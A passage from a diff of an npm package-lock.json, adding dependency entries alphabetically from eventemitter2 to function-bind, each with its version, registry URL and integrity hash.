"sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "peer": true + }, + "eventemitter2": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz", + "integrity": "sha1-j2G3XN4BKy6esoTUVFWDtWQ7Yas=", + "dev": true + }, + "events": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", + "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", + "dev": true + }, + "evp_bytestokey": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.0.tgz", + "integrity": "sha1-SXtmrZ/vZc18CKYYCCS6FHa2blM=", + "dev": true, + "requires": { + "create-hash": "^1.1.1" + } + }, + "exec-sh": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.2.2.tgz", + "integrity": "sha512-FIUCJz1RbuS0FKTdaAafAByGS0CPvU3R0MeHxgtl+djzCc//F8HakL8GzmVNZanasTbTAY/3DRFA0KpVqj/eAw==", + "dev": true, + "requires": { + "merge": "^1.2.0" + } + }, + "execa": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", + "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", + "dev": true, + "requires": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", + "dev": true + }, + "expand-brackets": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", + "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", + "dev": true, + "requires": { + "is-posix-bracket": "^0.1.0" + } + }, + "expand-range": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", + "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", + "dev": true, + "requires": { + "fill-range": "^2.1.0" + } + }, + "expand-template": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-1.1.0.tgz", + "integrity": "sha512-kkjwkMqj0h4w/sb32ERCDxCQkREMCAgS39DscDnSwDsbxnwwM1BTZySdC3Bn1lhY7vL08n9GoO/fVTynjDgRyQ==", + "dev": true, + "optional": true + }, + "extend": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", + "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", + "dev": true + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "external-editor": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", + "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", + "dev": true, + "requires": { + "chardet": "^0.4.0", + "iconv-lite": "^0.4.17", + "tmp": "^0.0.33" + } + }, + "extglob": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", + "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", + "dev": true, + "requires": { + "is-extglob": "^1.0.0" + } + }, + "extract-text-webpack-plugin": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extract-text-webpack-plugin/-/extract-text-webpack-plugin-3.0.2.tgz", + "integrity": "sha512-bt/LZ4m5Rqt/Crl2HiKuAl/oqg0psx1tsTLkvWbJen1CtD+fftkZhMaQ9HOtY2gWsl2Wq+sABmMVi9z3DhKWQQ==", + "dev": true, + "requires": { + "async": "^2.4.1", + "loader-utils": "^1.1.0", + "schema-utils": "^0.3.0", + "webpack-sources": "^1.0.1" + }, + "dependencies": { + "async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "requires": { + "lodash": "^4.17.10" + } + }, + "schema-utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", + "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", + "dev": true, + "requires": { + "ajv": "^5.0.0" + } + } + } + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", + "dev": true + }, + "fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, + "fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", + "dev": true + }, + "fast-xml-parser": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.1.3.tgz", + "integrity": "sha512-LsNDahCiCcJPe8NO7HijcnukHB24tKbfDDA5IILx9dmW3Frb52lhbeX6MPNUSvyGNfav2VTYpJ/OqkRoVLrh2Q==", + "peer": true, + "requires": { + "strnum": "^1.0.5" + } + }, + "fastparse": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.1.tgz", + "integrity": "sha1-0eJkOzipTXWDtHkGDmxK/8lAcfg=", + "dev": true + }, + "faye-websocket": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz", + "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", + "dev": true, + "requires": { + "websocket-driver": ">=0.5.1" + } + }, + "fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "peer": true, + "requires": { + "bser": "2.1.1" + } + }, + "fbjs": { + "version": "0.8.17", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", + "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", + "requires": { + "core-js": "^1.0.0", + "isomorphic-fetch": "^2.1.1", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^0.7.18" + }, + "dependencies": { + "core-js": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", + "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=" + } + } + }, + "figgy-pudding": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz", + "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==", + "dev": true + }, + "figures": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", + "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", + "dev": true, + "requires": { + "escape-string-regexp": "^1.0.5" + } + }, + "file-entry-cache": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", + "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", + "dev": true, + "requires": { + "flat-cache": "^1.2.1", + "object-assign": "^4.0.1" + } + }, + "file-loader": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-0.11.2.tgz", + "integrity": "sha1-T/HfKK84cZpgmAk7iMgscdF5SjQ=", + "dev": true, + "requires": { + "loader-utils": "^1.0.2" + } + }, + "file-sync-cmp": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz", + "integrity": "sha1-peeo/7+kk7Q7kju9TKiaU7Y7YSs=", + "dev": true + }, + "file-type": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-7.7.1.tgz", + "integrity": "sha512-bTrKkzzZI6wH+NXhyD3SOXtb2zXTw2SbwI2RxUlRcXVsnN7jNL5hJzVQLYv7FOQhxFkK4XWdAflEaWFpaLLWpQ==", + "dev": true + }, + "file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true + }, + "filename-regex": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", + "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=", + "dev": true + }, + "fill-range": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz", + "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==", + "dev": true, + "requires": { + "is-number": "^2.1.0", + "isobject": "^2.0.0", + "randomatic": "^3.0.0", + "repeat-element": "^1.1.2", + "repeat-string": "^1.5.2" + } + }, + "finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "peer": true, + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + } + }, + "find-cache-dir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-1.0.0.tgz", + "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^1.0.0", + "pkg-dir": "^2.0.0" + } + }, + "find-up": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", + "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", + "dev": true, + "requires": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "findup-sync": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-0.3.0.tgz", + "integrity": "sha1-N5MKpdgWt3fANEXhlmzGeQpMCxY=", + "dev": true, + "requires": { + "glob": "~5.0.0" + }, + "dependencies": { + "glob": { + "version": "5.0.15", + "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", + "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", + "dev": true, + "requires": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "flat": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "requires": { + "is-buffer": "~2.0.3" + }, + "dependencies": { + "is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true + } + } + }, + "flat-cache": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", + "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", + "dev": true, + "requires": { + "circular-json": "^0.3.1", + "del": "^2.0.2", + "graceful-fs": "^4.1.2", + "write": "^0.2.1" + } + }, + "flatten": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.2.tgz", + "integrity": "sha1-2uRqnXj74lKSJYzB54CkHZXAN4I=", + "dev": true + }, + "flow-parser": { + "version": "0.185.2", + "resolved": "https://registry.npmjs.org/flow-parser/-/flow-parser-0.185.2.tgz", + "integrity": "sha512-2hJ5ACYeJCzNtiVULov6pljKOLygy0zddoqSI1fFetM+XRPpRshFdGEijtqlamA1XwyZ+7rhryI6FQFzvtLWUQ==", + "peer": true + }, + "flush-write-stream": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", + "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" + } + }, + "fn-args": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fn-args/-/fn-args-4.0.0.tgz", + "integrity": "sha512-M9XSagc92ejQhi+7kjpFPAO59xKbGRsbOg/9dfwSj84DfzB0pj+Q81DVD1pKr084Xf2oICwUNI0pCvGORmD9zg==", + "dev": true + }, + "follow-redirects": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.10.tgz", + "integrity": "sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==", + "dev": true, + "requires": { + "debug": "=3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" + }, + "for-own": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", + "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", + "dev": true, + "requires": { + "for-in": "^1.0.1" + } + }, + "foreach": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", + "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", + "dev": true + }, + "form-data": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", + "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "1.0.6", + "mime-types": "^2.1.12" + } + }, + "fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", + "requires": { + "map-cache": "^0.2.2" + } + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "peer": true + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true + }, + "fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", + "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + } + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + }, + "fsevents": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", + "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "dev": true, + "optional": true, + "requires": { + "nan": "^2.9.2", + "node-pre-gyp": "^0.10.0" + }, + "dependencies": { + "abbrev": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "chownr": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ms": "2.0.0" + } + }, + "deep-extend": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "optional": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "detect-libc": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safer-buffer": "^2.1.0" + } + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minimatch": "^3.0.4" + } + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "ini": { + "version": "1.3.5", + "bundled": true, + "dev": true, + "optional": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true, + "dev": true, + "optional": true + }, + "minipass": { + "version": "2.2.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safe-buffer": "^5.1.1", + "yallist": "^3.0.0" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minimist": "0.0.8" + } + }, + "ms": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "needle": { + "version": "2.2.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "debug": "^2.1.2", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + } + }, + "node-pre-gyp": { + "version": "0.10.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.0", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.1.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "abbrev": "1", + "osenv": "^0.1.4" + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "once": { + "version": "1.4.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "wrappy": "1" + } + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "rc": { + "version": "1.2.7", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "glob": "^7.0.5" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "optional": true + }, + "sax": { + "version": "1.2.4", + "bundled": true, + "dev": true, + "optional": true + }, + "semver": { + "version": "5.5.0", + "bundled": true, + "dev": true, + "optional": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "tar": { + "version": "4.4.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.2.4", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.1", + "yallist": "^3.0.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "string-width": "^1.0.2" + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "yallist": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "optional": true + } + } + }, + "fstream": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", + "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + } + }, + "fullcalendar": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/fullcalendar/-/fullcalendar-3.6.2.tgz", + "integrity": "sha1-ZJVudDG+OUs9UFsyf2suj2Kckdo=", + "requires": { + "jquery": "2 - 3", + "moment": "^2.9.0" + } + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": 